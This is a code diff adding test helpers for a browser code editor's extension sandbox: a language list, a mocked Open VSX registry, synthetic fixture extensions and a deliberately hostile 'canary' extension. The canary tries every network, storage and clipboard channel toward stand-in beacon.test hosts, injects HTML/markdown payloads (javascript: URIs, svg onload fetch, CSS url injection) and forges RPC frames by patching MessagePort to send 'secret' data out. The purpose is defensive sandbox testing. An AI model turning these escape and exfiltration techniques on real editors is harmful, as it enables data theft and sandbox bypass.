274+ "id": "redshift",
275+ "monarch": true
276+ },
277+ {
278+ "id": "restructuredtext",
279+ "monarch": true
280+ },
281+ {
282+ "id": "ruby",
283+ "monarch": true
284+ },
285+ {
286+ "id": "rust",
287+ "monarch": true
288+ },
289+ {
290+ "id": "sb",
291+ "monarch": true
292+ },
293+ {
294+ "id": "scala",
295+ "monarch": true
296+ },
297+ {
298+ "id": "scheme",
299+ "monarch": true
300+ },
301+ {
302+ "id": "scss",
303+ "monarch": true
304+ },
305+ {
306+ "id": "shell",
307+ "monarch": true
308+ },
309+ {
310+ "id": "sol",
311+ "monarch": true
312+ },
313+ {
314+ "id": "sparql",
315+ "monarch": true
316+ },
317+ {
318+ "id": "sql",
319+ "monarch": true
320+ },
321+ {
322+ "id": "st",
323+ "monarch": true
324+ },
325+ {
326+ "id": "swift",
327+ "monarch": true
328+ },
329+ {
330+ "id": "systemverilog",
331+ "monarch": true
332+ },
333+ {
334+ "id": "tcl",
335+ "monarch": true
336+ },
337+ {
338+ "id": "twig",
339+ "monarch": true
340+ },
341+ {
342+ "id": "typescript",
343+ "monarch": true
344+ },
345+ {
346+ "id": "typespec",
347+ "monarch": true
348+ },
349+ {
350+ "id": "vb",
351+ "monarch": true
352+ },
353+ {
354+ "id": "verilog",
355+ "monarch": true
356+ },
357+ {
358+ "id": "wgsl",
359+ "monarch": true
360+ },
361+ {
362+ "id": "xml",
363+ "monarch": true
364+ },
365+ {
366+ "id": "yaml",
367+ "monarch": true
368+ }
369+ ]
370+}
added tests/lib/monaco-languages.mjs +39 −0
@@ -0,0 +1,39 @@
1+// Monaco 0.52.2's built-in languages, as Code's page sees them before any
2+// extension: their ids, and whether each is a Monarch language (its definition
3+// has a `loader`, so an extension's TextMate grammar can replace its colouring;
4+// the others, such as JSON, keep their own). The panel asks the live editor
5+// (js/ext/host.js: builtinLanguage, grammarSkippedFor); the static catalog
6+// census, which runs in Node, reads the same list from monaco-languages.json.
7+//
8+// node tests/lib/monaco-languages.mjs print the live list
9+// node tests/lib/monaco-languages.mjs --write rewrite monaco-languages.json
10+// tests/x2_ux.mjs checks that the file still matches the live editor.
11+import fs from 'node:fs';
12+import path from 'node:path';
13+import { fileURLToPath } from 'node:url';
14+
15+const HERE = path.dirname(fileURLToPath(import.meta.url));
16+export const FILE = path.join(HERE, 'monaco-languages.json');
17+
18+// in a page of Code where Monaco is loaded
19+export const liveLanguages = page => page.evaluate(() => window.monaco.languages.getLanguages()
20+ .map(l => ({ id: l.id, monarch: typeof l.loader === 'function' }))
21+ .sort((a, b) => (a.id < b.id ? -1 : a.id > b.id ? 1 : 0)));
22+
23+export const readLanguages = () => JSON.parse(fs.readFileSync(FILE, 'utf8'));
24+
25+if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
26+ const { chromium } = await import('playwright');
27+ const { startServer } = await import('./x2-server.mjs');
28+ const srv = await startServer();
29+ const browser = await chromium.launch();
30+ try {
31+ const page = await browser.newPage();
32+ await page.goto(srv.codeOrigin + '/?test-opfs&noext', { waitUntil: 'domcontentloaded' });
33+ await page.waitForFunction(() => !!window.monaco?.languages?.getLanguages?.().length, null, { timeout: 60000 });
34+ const languages = await liveLanguages(page);
35+ const out = { monaco: '0.52.2', note: 'Generated by tests/lib/monaco-languages.mjs --write from the live editor; tests/x2_ux.mjs checks it.', languages };
36+ if (process.argv.includes('--write')) { fs.writeFileSync(FILE, JSON.stringify(out, null, 1) + '\n'); console.log(`${languages.length} languages written`); }
37+ else console.log(JSON.stringify(out, null, 1));
38+ } finally { await browser.close(); await srv.close(); }
39+}
added tests/lib/openvsx-mock.mjs +62 −0
@@ -0,0 +1,62 @@
1+// Open VSX simulado para las pruebas del gestor de extensiones: búsqueda,
2+// metadatos, package.json, suma SHA-256 y el .vsix, servidos con
3+// context.route desde paquetes de las pruebas (los .vsix reales fijados de
4+// tests/.cache/vsix o manifiestos sintéticos). Apunta cada petición con el
5+// marco que la hizo, para comprobar que solo la página de Code habla con
6+// Open VSX y nunca el recinto.
7+//
8+// const mock = await mockOpenVsx(ctx, [{ namespace, name, version, manifest, vsix?, published?, keywords? }])
9+// mock.log → [{ url, path, frame, method }]; downloads() (GET of a .vsix) and
10+// sizeLookups() (HEAD of a .vsix, for its size before the consent)
11+const API = 'https://open-vsx.org';
12+
13+export async function mockOpenVsx(ctx, packages) {
14+ const log = [];
15+ const key = p => `${p.namespace}/${p.name}/${p.version}`.toLowerCase();
16+ const byKey = new Map(packages.map(p => [key(p), p]));
17+ const base = p => `${API}/api/${p.namespace}/${p.name}/${p.version}`;
18+ const summary = p => ({
19+ namespace: p.namespace, name: p.name, version: p.version, displayName: p.manifest.displayName || p.name,
20+ description: p.description || p.manifest.description || '', downloadCount: p.downloadCount || 1, verified: true, files: {},
21+ });
22+ await ctx.route(`${API}/**`, async route => {
23+ const req = route.request();
24+ const u = new URL(req.url());
25+ let frame = '';
26+ try { frame = req.frame()?.url() || ''; } catch { /* de un worker */ }
27+ log.push({ url: u.href, path: u.pathname, frame, method: req.method() });
28+ const cors = { 'access-control-allow-origin': '*' };
29+ const json = (body, status = 200) => route.fulfill({ status, headers: { ...cors, 'content-type': 'application/json' }, body: JSON.stringify(body) });
30+ if (u.pathname === '/api/-/search') {
31+ const q = (u.searchParams.get('query') || '').toLowerCase();
32+ const offset = Number(u.searchParams.get('offset') || 0), size = Number(u.searchParams.get('size') || 20);
33+ const hits = packages.filter(p => !q || [p.namespace, p.name, p.manifest.displayName || '', ...(p.keywords || [])].join(' ').toLowerCase().includes(q));
34+ return json({ totalSize: hits.length, offset, extensions: hits.slice(offset, offset + size).map(summary) });
35+ }
36+ const m = /^\/api\/([^/]+)\/([^/]+)\/([^/]+)(?:\/file\/(.+))?$/.exec(u.pathname);
37+ const p = m && byKey.get(`${m[1]}/${m[2]}/${m[3]}`.toLowerCase());
38+ if (!p) return json({ error: 'not found' }, 404);
39+ if (!m[4]) {
40+ return json({
41+ ...summary(p), license: p.manifest.license || 'MIT',
42+ files: {
43+ manifest: base(p) + '/file/package.json',
44+ ...(p.vsix ? { download: base(p) + `/file/${p.namespace}.${p.name}-${p.version}.vsix` } : {}),
45+ ...(p.published !== null && p.vsix ? { sha256: base(p) + `/file/${p.namespace}.${p.name}-${p.version}.sha256` } : {}),
46+ },
47+ });
48+ }
49+ if (m[4] === 'package.json') return json(p.manifest);
50+ if (m[4].endsWith('.sha256')) {
51+ if (p.published === null || p.shaStatus) return route.fulfill({ status: p.shaStatus || 404, headers: cors, body: 'not found' });
52+ return route.fulfill({ status: 200, headers: { ...cors, 'content-type': 'text/plain' }, body: `${p.published} ${p.namespace}.${p.name}-${p.version}.vsix` });
53+ }
54+ if (m[4].endsWith('.vsix') && p.vsix) {
55+ // HEAD: solo su tamaño (lo que el consentimiento enseña antes de bajar nada)
56+ if (req.method() === 'HEAD') return route.fulfill({ status: 200, headers: { ...cors, 'content-type': 'application/octet-stream', 'content-length': String(p.vsix.length) }, body: '' });
57+ return route.fulfill({ status: 200, headers: { ...cors, 'content-type': 'application/octet-stream', 'content-length': String(p.vsix.length) }, body: p.vsix });
58+ }
59+ return json({ error: 'not found' }, 404);
60+ });
61+ return { log, downloads: () => log.filter(r => r.path.endsWith('.vsix') && r.method !== 'HEAD').map(r => r.path), sizeLookups: () => log.filter(r => r.path.endsWith('.vsix') && r.method === 'HEAD').map(r => r.path) };
62+}
added tests/lib/x2-canary-ext.mjs +226 −0
@@ -0,0 +1,226 @@
1+// La extensión canario del nivel 2 (parte B2): intenta salir por todos los
2+// canales que tiene una extensión y deja el resultado de cada intento.
3+//
4+// · canary.run(port): cada canal de red y de almacenamiento del worker
5+// (también fuentes con FontFace, Cache Storage y WebSocketStream), con
6+// nombres *.test únicos (la baliza los recibe si algo sale);
7+// · el «fuzzer» de campos: al activarse registra hover, autocompletado,
8+// firmas, acciones de código, diagnósticos y decoraciones con imágenes,
9+// enlaces, HTML, inyecciones de CSS, URIs javascript: y command: e iconos
10+// remotos en cada campo;
11+// · canary.ui: aviso, aviso modal, selector y cuadro de texto con lo mismo;
12+// · canary.edit: mete texto hostil en el documento activo (puerta de la
13+// vista previa); canary.clip: escribe en el portapapeles;
14+// · canary.open(url): openExternal (fase B: una sola visita, la aceptada);
15+// · canary.forge: tramas RPC hechas a mano por MessagePort.prototype
16+// ($openUri, dispose, una webview y un actor que no existe).
17+const base = { name: 'canary', publisher: 'elffuss-test', version: '2.0.0', displayName: 'X2 canary (full)', license: 'MIT', engines: { vscode: '^1.80.0' }, browser: './extension.js' };
18+
19+export const CANARY_FULL = {
20+ manifest: {
21+ ...base,
22+ activationEvents: ['*'],
23+ contributes: {
24+ commands: ['run', 'report', 'ui', 'edit', 'clip', 'open', 'forge'].map(c => ({ command: 'canary.' + c, title: 'Canary ' + c, category: 'X2' })),
25+ },
26+ },
27+ files: {
28+ 'extension.js': String.raw`const vscode = require('vscode');
29+const results = [];
30+const B = (n, scheme) => (scheme || 'http') + '://' + n + '.beacon.test/x2-canary/' + n;
31+const tryIt = async (channel, fn) => {
32+ try { const r = await fn(); results.push({ channel, outcome: 'ALLOWED', detail: String(r).slice(0, 200) }); }
33+ catch (e) { results.push({ channel, outcome: 'blocked', detail: String(e && (e.message || e)).slice(0, 200) }); }
34+};
35+const timeout = (ms, what) => new Promise((_, rej) => setTimeout(() => rej(new Error(what + ' timed out')), ms));
36+const HOSTILE = '**canary** ![i](http://md-img.beacon.test/i.png) ![j](https://md-img2.beacon.test/j.png) [l](https://md-link.beacon.test/l) ' +
37+ '<img src="http://md-html.beacon.test/h.png"> <a href="https://md-a.beacon.test/">a</a> <style>@import url(http://md-css.beacon.test/s.css)</style> ' +
38+ 'https://md-auto.beacon.test/auto [c](command:workbench.action.reloadWindow) [j](javascript:alert(1)) <svg onload="fetch(\'http://md-svg.beacon.test/\')">';
39+const mdHostile = () => { const m = new vscode.MarkdownString(HOSTILE); m.isTrusted = true; m.supportHtml = true; m.supportThemeIcons = true; return m; };
40+
41+async function run(codePort, sandboxPort) {
42+ results.length = 0;
43+ await tryIt('fetch-http', () => fetch(B('fetch'), { mode: 'no-cors' }).then(r => r.type));
44+ await tryIt('fetch-https', () => fetch(B('fetchs', 'https'), { mode: 'no-cors' }).then(r => r.type));
45+ await tryIt('fetch-request', () => fetch(new Request(B('request'), { mode: 'no-cors', credentials: 'include' })).then(r => r.type));
46+ await tryIt('xhr', () => new Promise((res, rej) => { const x = new XMLHttpRequest(); x.open('GET', B('xhr')); x.onload = () => res(x.status); x.onerror = () => rej(new Error('xhr error')); x.send(); }));
47+ await tryIt('sendBeacon', () => { if (!self.navigator.sendBeacon) throw new Error('no sendBeacon'); return self.navigator.sendBeacon(B('beacon'), 'x'); });
48+ await tryIt('fetchLater', () => { if (typeof fetchLater !== 'function') throw new Error('no fetchLater'); return fetchLater(B('later')); });
49+ await tryIt('websocket', () => Promise.race([new Promise((res, rej) => { const w = new WebSocket(B('ws', 'ws')); w.onopen = () => res('open'); w.onerror = () => rej(new Error('ws error')); }), timeout(3000, 'ws')]));
50+ await tryIt('websocket-tls', () => Promise.race([new Promise((res, rej) => { const w = new WebSocket(B('wss', 'wss')); w.onopen = () => res('open'); w.onerror = () => rej(new Error('wss error')); }), timeout(3000, 'wss')]));
51+ await tryIt('eventsource', () => Promise.race([new Promise((res, rej) => { if (!self.EventSource) return rej(new Error('no EventSource')); const s = new EventSource(B('sse')); s.onopen = () => res('open'); s.onerror = () => { s.close(); rej(new Error('sse error')); }; }), timeout(3000, 'sse')]));
52+ await tryIt('webtransport', () => { if (typeof WebTransport !== 'function') throw new Error('no WebTransport'); const t = new WebTransport(B('wt', 'https')); t.closed.catch(() => {}); return Promise.race([t.ready.then(() => 'ready'), timeout(3000, 'wt')]); });
53+ await tryIt('import', () => import(B('import')));
54+ await tryIt('importScripts', () => importScripts(B('importscripts')));
55+ await tryIt('worker-url', () => new Promise((res, rej) => { try { const w = new Worker(B('worker')); w.onerror = ev => { try { ev.preventDefault(); } catch (x) { /* — */ } rej(new Error('worker error')); }; setTimeout(() => res('created'), 1000); } catch (e) { rej(e); } }));
56+ await tryIt('worker-blob-fetch', () => new Promise((res, rej) => {
57+ try {
58+ const src = 'fetch(' + JSON.stringify(B('nested')) + ',{mode:"no-cors"}).then(r=>postMessage("ALLOWED "+r.type),e=>postMessage("blocked "+e.message))';
59+ const w = new Worker(URL.createObjectURL(new Blob([src], { type: 'text/javascript' })));
60+ w.onmessage = e => (String(e.data).startsWith('ALLOWED') ? res(e.data) : rej(new Error(e.data)));
61+ w.onerror = ev => { try { ev.preventDefault(); } catch (x) { /* — */ } rej(new Error('nested worker error')); };
62+ setTimeout(() => rej(new Error('nested worker silent')), 3000);
63+ } catch (e) { rej(e); }
64+ }));
65+ await tryIt('webrtc', () => { if (typeof RTCPeerConnection === 'undefined') throw new Error('no RTCPeerConnection'); return new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.beacon.test:3478' }] }); });
66+ await tryIt('websocketstream', () => { if (typeof WebSocketStream !== 'function') throw new Error('no WebSocketStream'); const w = new WebSocketStream(B('wsstream', 'ws')); return Promise.race([w.opened.then(() => 'open'), timeout(3000, 'wsstream')]); });
67+ await tryIt('fontface', () => { if (typeof FontFace !== 'function' || !self.fonts) throw new Error('no FontFace in a worker'); const f = new FontFace('canary', 'url(' + B('font') + ')'); self.fonts.add(f); return Promise.race([f.load().then(() => 'loaded'), timeout(3000, 'font')]); });
68+ await tryIt('caches-add', async () => { if (!self.caches) throw new Error('no caches'); const c = await caches.open('canary'); await c.add(B('cacheadd')); return 'added'; });
69+ await tryIt('open-vsx', () => fetch('https://open-vsx.org/api/-/search?query=x2-canary-leak', { mode: 'no-cors' }).then(r => r.type));
70+ await tryIt('code-server', () => fetch('http://127.0.0.1:' + codePort + '/js/main.js?x2-canary-leak=1', { mode: 'no-cors' }).then(r => r.type));
71+ await tryIt('sandbox-host', () => fetch('http://localhost:' + sandboxPort + '/x2/v1/sandbox.html?x2-canary-leak=1', { mode: 'no-cors' }).then(r => r.type));
72+ await tryIt('indexedDB', () => (indexedDB.databases ? indexedDB.databases() : Promise.resolve([])).then(d => { const names = d.map(x => x.name); if (names.some(n => /elffuss|canary/.test(n))) throw new Error('SAW CODE STORAGE: ' + names.join(',')); return 'own: ' + names.join(','); }));
73+ await tryIt('opfs', async () => { const root = await navigator.storage.getDirectory(); const names = []; for await (const k of root.keys()) names.push(k); if (names.some(n => /canary|\.js$|\.txt$|\.html$/.test(n))) throw new Error('SAW CODE OPFS: ' + names.join(',')); return 'own: ' + names.join(','); });
74+ await tryIt('localStorage', () => { if (typeof localStorage === 'undefined') return 'own: none in a worker'; const v = localStorage.getItem('elffuss-canary'); if (v) throw new Error('SAW CODE localStorage'); return 'own: empty'; });
75+ await tryIt('cookie', () => { const c = typeof document !== 'undefined' ? document.cookie : ''; if (/elffuss_canary/.test(c)) throw new Error('SAW CODE COOKIE'); return 'own: none'; });
76+ await tryIt('caches', async () => { if (!self.caches) return 'own: no caches'; const k = await caches.keys(); return 'own: ' + k.join(','); });
77+ await tryIt('clipboard-navigator', async () => { if (!navigator.clipboard) throw new Error('no clipboard'); return navigator.clipboard.readText(); });
78+ await tryIt('clipboard-api', () => vscode.env.clipboard.readText().then(t => { if (t) throw new Error('READ ' + t.length + ' chars'); return 'own: read 0 chars'; }));
79+ await tryIt('fs-http', () => vscode.workspace.fs.readFile(vscode.Uri.parse(B('fs'))).then(b => b.length));
80+ await tryIt('openTextDocument-http', () => vscode.workspace.openTextDocument(vscode.Uri.parse(B('doc'))).then(d => d.getText().length));
81+ await tryIt('asExternalUri', () => vscode.env.asExternalUri(vscode.Uri.parse(B('asexternal'))).then(u => 'own: unchanged ' + (u.toString() === vscode.Uri.parse(B('asexternal')).toString())));
82+ await tryIt('openExternal', () => vscode.env.openExternal(vscode.Uri.parse(B('open'))).then(ok => { if (ok) throw new Error('OPENED'); return 'own: refused'; }));
83+ await tryIt('saveAll', () => vscode.workspace.saveAll());
84+ return results;
85+}
86+
87+// ── el fuzzer de campos: todo lo que la página pinta, con veneno ──
88+function registerFuzzer(context) {
89+ const sel = [{ language: 'javascript' }, { language: 'html' }, { language: 'plaintext' }];
90+ context.subscriptions.push(
91+ vscode.languages.registerHoverProvider(sel, { provideHover() { return new vscode.Hover([mdHostile(), 'plain <img src="http://hover-str.beacon.test/s.png">']); } }),
92+ vscode.languages.registerCompletionItemProvider(sel, {
93+ provideCompletionItems() {
94+ const it = new vscode.CompletionItem('zzcanary<img src=x onerror=alert(1)>', vscode.CompletionItemKind.Text);
95+ it.filterText = 'zzcanary'; it.sortText = '!'; it.preselect = true;
96+ it.documentation = mdHostile();
97+ it.detail = 'detail <img src="http://detail.beacon.test/d.png">';
98+ it.insertText = new vscode.SnippetString('canary \${CLIPBOARD} \${1:x}');
99+ it.command = { command: 'canary.open', title: 'open', arguments: [B('completioncmd')] };
100+ return [it];
101+ },
102+ }, '.'),
103+ vscode.languages.registerSignatureHelpProvider(sel, {
104+ provideSignatureHelp() {
105+ const s = new vscode.SignatureInformation('canary(a, b)', mdHostile());
106+ s.parameters = [new vscode.ParameterInformation('a', mdHostile())];
107+ const h = new vscode.SignatureHelp(); h.signatures = [s]; h.activeSignature = 0; h.activeParameter = 0; return h;
108+ },
109+ }, '(', ','),
110+ vscode.languages.registerCodeActionsProvider(sel, {
111+ provideCodeActions() {
112+ const a = new vscode.CodeAction('Canary <b>fix</b> ![i](http://action.beacon.test/i.png)', vscode.CodeActionKind.QuickFix);
113+ a.command = { command: 'canary.open', title: 'open', arguments: [B('actioncmd')] };
114+ return [a];
115+ },
116+ }),
117+ );
118+ const diags = vscode.languages.createDiagnosticCollection('canary');
119+ context.subscriptions.push(diags);
120+ const deco = vscode.window.createTextEditorDecorationType({
121+ backgroundColor: 'url(http://deco-bg.beacon.test/a.png)', color: 'red; background-image: url(http://deco-inj.beacon.test/b.png)',
122+ border: '1px solid red; background: url(http://deco-border.beacon.test/c.png)', textDecoration: 'none; background:url(http://deco-td.beacon.test/d.png)',
123+ fontFamily: 'x; src: url(http://deco-font.beacon.test/f.woff)', cursor: 'url(http://deco-cursor.beacon.test/e.png), auto',
124+ gutterIconPath: vscode.Uri.parse('http://deco-gutter.beacon.test/g.png'),
125+ before: { contentText: 'canary\\"; background: url(http://deco-content.beacon.test/h.png)', contentIconPath: vscode.Uri.parse('http://deco-icon.beacon.test/i.png') },
126+ });
127+ context.subscriptions.push(deco);
128+ const paint = ed => {
129+ if (!ed) return;
130+ const d = ed.document;
131+ const dg = new vscode.Diagnostic(new vscode.Range(0, 0, 0, 1), 'canary ![i](http://diag.beacon.test/i.png) <img src="http://diag-html.beacon.test/h.png">', vscode.DiagnosticSeverity.Warning);
132+ dg.code = { value: 'CANARY', target: vscode.Uri.parse(B('diagcode')) };
133+ dg.relatedInformation = [new vscode.DiagnosticRelatedInformation(new vscode.Location(vscode.Uri.parse(B('related')), new vscode.Position(0, 0)), 'related ![i](http://related.beacon.test/r.png)')];
134+ diags.set(d.uri, [dg]);
135+ const ranges = [];
136+ for (let i = 0; i < Math.min(d.lineCount, 50); i++) ranges.push({ range: new vscode.Range(i, 0, i, 1), hoverMessage: mdHostile(),
137+ renderOptions: { after: { contentText: 'x', color: 'url(http://deco-ro.beacon.test/r.png)' } } });
138+ ed.setDecorations(deco, ranges);
139+ };
140+ paint(vscode.window.activeTextEditor);
141+ context.subscriptions.push(vscode.window.onDidChangeActiveTextEditor(paint));
142+}
143+
144+// ── tramas RPC hechas a mano ──
145+// Se observa por qué puerto y con qué rpcId salen las llamadas legítimas de
146+// este mismo worker, y luego se mandan tramas propias por ese puerto.
147+const seen = new Map(); // método → rpcId
148+let rpcPort = null, nativePost = null;
149+function watchFrames() {
150+ if (nativePost) return;
151+ nativePost = MessagePort.prototype.postMessage;
152+ MessagePort.prototype.postMessage = function (data, transfer) {
153+ try {
154+ if (data instanceof ArrayBuffer && data.byteLength > 7) {
155+ const b = new Uint8Array(data);
156+ if (b[0] === 1 || b[0] === 2 || b[0] === 3 || b[0] === 4) {
157+ const rpcId = b[5], len = b[6];
158+ const method = new TextDecoder().decode(b.subarray(7, 7 + len));
159+ if (!seen.has(method)) seen.set(method, rpcId);
160+ rpcPort = this;
161+ }
162+ }
163+ } catch (e) { /* — */ }
164+ return nativePost.call(this, data, transfer);
165+ };
166+}
167+function frame(req, rpcId, method, argsJson) {
168+ const enc = new TextEncoder();
169+ const m = enc.encode(method), a = enc.encode(argsJson);
170+ const buf = new Uint8Array(1 + 4 + 1 + 1 + m.length + 4 + a.length);
171+ const v = new DataView(buf.buffer);
172+ let o = 0;
173+ buf[o++] = 1; v.setUint32(o, req); o += 4; buf[o++] = rpcId; buf[o++] = m.length; buf.set(m, o); o += m.length;
174+ v.setUint32(o, a.length); o += 4; buf.set(a, o);
175+ return buf.buffer;
176+}
177+async function forge() {
178+ // llamadas legítimas para aprender los rpcId de MainThreadCommands, MainThreadWindow y MainThreadWebviewPanels
179+ const tmp = vscode.commands.registerCommand('canary.tmp' + Date.now(), () => 0); tmp.dispose();
180+ try { const p = vscode.window.createWebviewPanel('canary', 'canary', vscode.ViewColumn.One, {}); p.dispose(); } catch (e) { /* — */ }
181+ await new Promise(r => setTimeout(r, 300));
182+ const out = { learned: Object.fromEntries(seen), sent: [] };
183+ if (!rpcPort) { out.error = 'no port seen'; return out; }
184+ let req = 0x7fff0000;
185+ const send = (rpcId, method, args) => { nativePost.call(rpcPort, frame(req++, rpcId, method, JSON.stringify(args)), []); out.sent.push(method + '@' + rpcId); };
186+ if (seen.has('$registerCommand')) send(seen.get('$registerCommand'), 'dispose', []);
187+ if (seen.has('$createWebviewPanel')) send(seen.get('$createWebviewPanel'), '$createWebviewPanel', []);
188+ if (seen.has('$unregisterCommand')) send(seen.get('$unregisterCommand'), 'constructor', []);
189+ send(250, '$anything', []);
190+ const forgedUrl = 'https://forged.beacon.test/rpc?d=secret';
191+ if (seen.has('$openUri')) send(seen.get('$openUri'), '$openUri', [{ $mid: 1, scheme: 'https', authority: 'forged.beacon.test', path: '/rpc', query: 'd=secret' }, forgedUrl, {}]);
192+ out.forgedUrl = forgedUrl;
193+ return out;
194+}
195+
196+exports.activate = function (context) {
197+ watchFrames();
198+ registerFuzzer(context);
199+ const reg = (id, fn) => context.subscriptions.push(vscode.commands.registerCommand(id, fn));
200+ reg('canary.run', async (codePort, sandboxPort) => JSON.stringify(await run(Number(codePort) || 80, Number(sandboxPort) || 80)));
201+ reg('canary.report', () => JSON.stringify(results));
202+ reg('canary.ui', async () => {
203+ const out = {};
204+ out.info = await vscode.window.showInformationMessage('canary toast ' + HOSTILE, 'Open <b>it</b>', 'command:workbench.action.reloadWindow');
205+ out.modal = await vscode.window.showWarningMessage('canary modal <img src="http://modal.beacon.test/m.png">', { modal: true, detail: HOSTILE }, 'OK');
206+ out.pick = await vscode.window.showQuickPick([
207+ { label: '$(globe) canary <img src="http://pick.beacon.test/p.png">', description: '[d](https://pick-d.beacon.test/)', detail: HOSTILE, iconPath: vscode.Uri.parse('http://pick-icon.beacon.test/i.png') },
208+ { label: 'second' }], { placeHolder: 'canary <b>pick</b>' });
209+ out.input = await vscode.window.showInputBox({ prompt: 'canary ' + HOSTILE, value: 'x' });
210+ await vscode.window.withProgress({ location: vscode.ProgressLocation.Notification, title: 'canary ![p](http://progress.beacon.test/p.png)' }, async p => { p.report({ message: '[m](https://progress-m.beacon.test/)' }); });
211+ return JSON.stringify(out);
212+ });
213+ reg('canary.edit', async () => {
214+ const ed = vscode.window.activeTextEditor;
215+ if (!ed) return 'no-editor';
216+ const end = ed.document.lineAt(ed.document.lineCount - 1).range.end;
217+ await ed.edit(b => b.insert(end, '\n<img src="http://preview.beacon.test/p.png"><script>fetch("http://preview-script.beacon.test/")</script>\n'));
218+ return 'edited';
219+ });
220+ reg('canary.clip', async () => { await vscode.env.clipboard.writeText('canary clipboard'); return 'written'; });
221+ reg('canary.open', async url => String(await vscode.env.openExternal(vscode.Uri.parse(String(url)))));
222+ reg('canary.forge', async () => JSON.stringify(await forge()));
223+};
224+`,
225+ },
226+};
added tests/lib/x2-fixtures.mjs +351 −0
@@ -0,0 +1,351 @@
1+// Extensiones web SINTÉTICAS para las pruebas del nivel 2: se fabrican aquí,
2+// sin red ni licencias de terceros. Cada una es { manifest, files } con el
3+// código en `files` (ruta → texto), como quedaría guardada tras instalarla.
4+//
5+// sort comando que ordena las líneas seleccionadas, con atajo
6+// fmt formateador de JavaScript (quita espacios repetidos)
7+// hover hover con markdown hostil (imágenes, enlaces, HTML)
8+// sym símbolos de documento (funciones de JavaScript)
9+// diag diagnósticos (cada «TODO» es un aviso)
10+// ui pide respuestas al usuario al arrancar (avisos, selector, texto)
11+// noop un comando que no hace nada
12+// observer hover, autocompletado y símbolos para todo, siempre vacíos
13+// canary intenta salir a la red y leer el almacenamiento de Code por
14+// todos los canales que tiene un worker; informa de cada intento
15+
16+const base = (name, extra = {}) => ({
17+ name, publisher: 'elffuss-test', version: '1.0.0', displayName: 'X2 ' + name, license: 'MIT',
18+ engines: { vscode: '^1.80.0' }, browser: './extension.js', ...extra,
19+});
20+
21+export const SORT = {
22+ manifest: base('sort', {
23+ activationEvents: [],
24+ contributes: {
25+ commands: [{ command: 'x2sort.sortLines', title: 'Sort Lines (fixture)', category: 'X2' }],
26+ keybindings: [
27+ { command: 'x2sort.sortLines', key: 'f9', when: 'editorTextFocus' },
28+ { command: 'x2sort.sortLines', key: 'ctrl+p', mac: 'cmd+p' },
29+ ],
30+ },
31+ }),
32+ files: {
33+ 'extension.js': `const vscode = require('vscode');
34+exports.activate = function (context) {
35+ context.subscriptions.push(vscode.commands.registerCommand('x2sort.sortLines', async () => {
36+ const ed = vscode.window.activeTextEditor;
37+ if (!ed) return 'no-editor';
38+ const doc = ed.document, sel = ed.selection;
39+ const first = sel.isEmpty ? 0 : sel.start.line;
40+ let last = sel.isEmpty ? doc.lineCount - 1 : sel.end.line;
41+ if (!sel.isEmpty && sel.end.character === 0 && last > first) last--;
42+ const lines = [];
43+ for (let i = first; i <= last; i++) lines.push(doc.lineAt(i).text);
44+ const sorted = [...lines].sort();
45+ const range = new vscode.Range(first, 0, last, doc.lineAt(last).text.length);
46+ await ed.edit(b => b.replace(range, sorted.join('\\n')));
47+ return 'sorted:' + lines.length;
48+ }));
49+};
50+`,
51+ },
52+};
53+
54+export const FMT = {
55+ manifest: base('fmt', { activationEvents: ['onLanguage:javascript'] }),
56+ files: {
57+ 'extension.js': `const vscode = require('vscode');
58+exports.activate = function (context) {
59+ context.subscriptions.push(vscode.languages.registerDocumentFormattingEditProvider('javascript', {
60+ provideDocumentFormattingEdits(doc) {
61+ const text = doc.getText();
62+ const out = text.split('\\n').map(l => l.replace(/(\\S) {2,}/g, '$1 ').replace(/\\s+$/, '')).join('\\n');
63+ if (out === text) return [];
64+ const end = doc.lineAt(doc.lineCount - 1).range.end;
65+ return [vscode.TextEdit.replace(new vscode.Range(new vscode.Position(0, 0), end), out)];
66+ },
67+ }));
68+};
69+`,
70+ },
71+};
72+
73+export const HOSTILE_MD = '**x2 hover** ![img](http://beacon.test/hover.png) [link](https://beacon.test/link) <img src="http://beacon.test/html.png"> https://beacon.test/auto `code`';
74+export const HOVER = {
75+ manifest: base('hover', { activationEvents: ['onLanguage:javascript'] }),
76+ files: {
77+ 'extension.js': `const vscode = require('vscode');
78+exports.activate = function (context) {
79+ context.subscriptions.push(vscode.languages.registerHoverProvider({ language: 'javascript' }, {
80+ provideHover(doc, pos) {
81+ const md = new vscode.MarkdownString(${JSON.stringify(HOSTILE_MD)});
82+ md.isTrusted = true; md.supportHtml = true;
83+ return new vscode.Hover(md);
84+ },
85+ }));
86+};
87+`,
88+ },
89+};
90+
91+export const SYM = {
92+ manifest: base('sym', { activationEvents: ['onLanguage:javascript'] }),
93+ files: {
94+ 'extension.js': `const vscode = require('vscode');
95+exports.activate = function (context) {
96+ context.subscriptions.push(vscode.languages.registerDocumentSymbolProvider('javascript', {
97+ provideDocumentSymbols(doc) {
98+ const out = [];
99+ for (let i = 0; i < doc.lineCount; i++) {
100+ const m = /function\\s+([A-Za-z_$][\\w$]*)/.exec(doc.lineAt(i).text);
101+ if (m) {
102+ const r = doc.lineAt(i).range;
103+ const s = new vscode.Range(i, m.index + 9, i, m.index + 9 + m[1].length);
104+ out.push(new vscode.DocumentSymbol('x2:' + m[1], 'fixture', vscode.SymbolKind.Function, r, s));
105+ }
106+ }
107+ return out;
108+ },
109+ }, { label: 'X2 symbols' }));
110+};
111+`,
112+ },
113+};
114+
115+// Diagnósticos propios (cada «TODO»), y x2diag.pageMarkers: los que la
116+// extensión ve de otros (los de la página: el TS de Monaco).
117+export const DIAG = {
118+ manifest: base('diag', { activationEvents: ['onLanguage:javascript'], contributes: { commands: [{ command: 'x2diag.pageMarkers', title: 'Page markers', category: 'X2' }] } }),
119+ files: {
120+ 'extension.js': `const vscode = require('vscode');
121+exports.activate = function (context) {
122+ const col = vscode.languages.createDiagnosticCollection('x2diag');
123+ context.subscriptions.push(col);
124+ const scan = doc => {
125+ if (doc.languageId !== 'javascript') return;
126+ const out = [];
127+ for (let i = 0; i < doc.lineCount; i++) {
128+ const j = doc.lineAt(i).text.indexOf('TODO');
129+ if (j >= 0) {
130+ const d = new vscode.Diagnostic(new vscode.Range(i, j, i, j + 4), 'x2: TODO found ![x](http://beacon.test/diag.png)', vscode.DiagnosticSeverity.Warning);
131+ d.source = 'x2diag';
132+ d.code = { value: 'X2001', target: vscode.Uri.parse('https://beacon.test/code') };
133+ out.push(d);
134+ }
135+ }
136+ col.set(doc.uri, out);
137+ };
